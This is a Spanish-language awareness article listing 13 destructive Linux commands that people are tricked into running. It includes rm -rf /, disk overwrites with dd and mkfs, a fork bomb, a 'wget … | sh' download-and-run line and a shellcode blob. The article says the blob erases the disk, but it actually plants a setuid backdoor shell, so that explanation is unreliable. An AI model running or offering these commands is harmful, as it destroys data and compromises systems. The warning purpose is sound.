Cuando comenzamos nuestras andadas en el mundo de la informática, ya sea en Windows, Mac OS X o incluso en Linux, es muy común encontrar información errada en foros y chats provenientes de personas que no tienen las mejores intensiones al momento de dirigirse a nosotros.

Dentro de estos consejos o comentarios pueden existir reales amenazas a nuestro sistema e información, más aún cuando nuestro conocimiento acerca del sistema operativo que usamos es limitado o en el peor de los casos nulo.


Existen varios comandos peligrosos en Linux que pueden llegar a ser desastrosos para nuestro sistema si los llegamos a ejecutar, por eso es mejor conocerlos y tenerlos presentes al momento de recibir “ayuda” en lugares públicos y poco confiables relacionados con este sistema operativo.

A continuación listaré 13 de ellos:


Código:
rm -rf /
Este comando elimina recursivamente y de forma forzada todos los archivos y directorios almacenados en la partición raiz.

Código:
char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Esta es la versión hexadecimal del comando rm -rf / que incluso puede engañar a los mas conocedores.

Código:
mkfs.ext3 /dev/sda
Este comando puede formatear o eliminar todos los archivos contenidos en el dispositivo mencionado después del comando mkfs.

Código:
:(){:|:&};:
Conocido como la bomba fork, este comando le pide a tu sistema ejecutar una gran cantidad de procesos hasta que el sistema se bloquea, pudiendo resultar en el daño de información.

Código:
comando > /dev/sda
Este comando escribirá datos en bruto en un bloque que usualmente dañara el sistema de archivos resultando en la perdida de información.

Código:
wget http://fuente_poco_confiable O | sh
Nunca descargues scripts o código desde una fuente en la que no puedas confiar plenamente, mucho menos si la vas a ejecutar automáticamente una vez descargada.

Código:
mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null
Este comando moverá todos los archivos almacenados en tu carpeta principal a un lugar que no existe, perdiendo de forma definitiva toda tu información.

Código:
dd if=/dev/urandom of=/dev/sda
Este comando llenará con datos aleatorios toda la partición de tu disco duro.

Código:
chmod -R 777 /
Este comando concederá permisos de escritura a todo tu sistema.

Código:
chmod 000 -R /
chown nobody:nobody -R /
Este comando elimina todos los accesos privilegiados a todos los usuarios en el sistema excepto Root.

Código:
yes > /dev/sda
Este comando llenará tu disco duro con la letra ‘y‘.

Código:
rm -rf /boot/
Este comando elimina todos los archivos del kernel, initrd y GRUB/LILO necesarios para iniciar el sistema.

Código:
rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;
Este comando borrará todos los archivos que contengan la palabra ‘init‘, incluso ‘/sbin/init‘.




Visto en emsLinux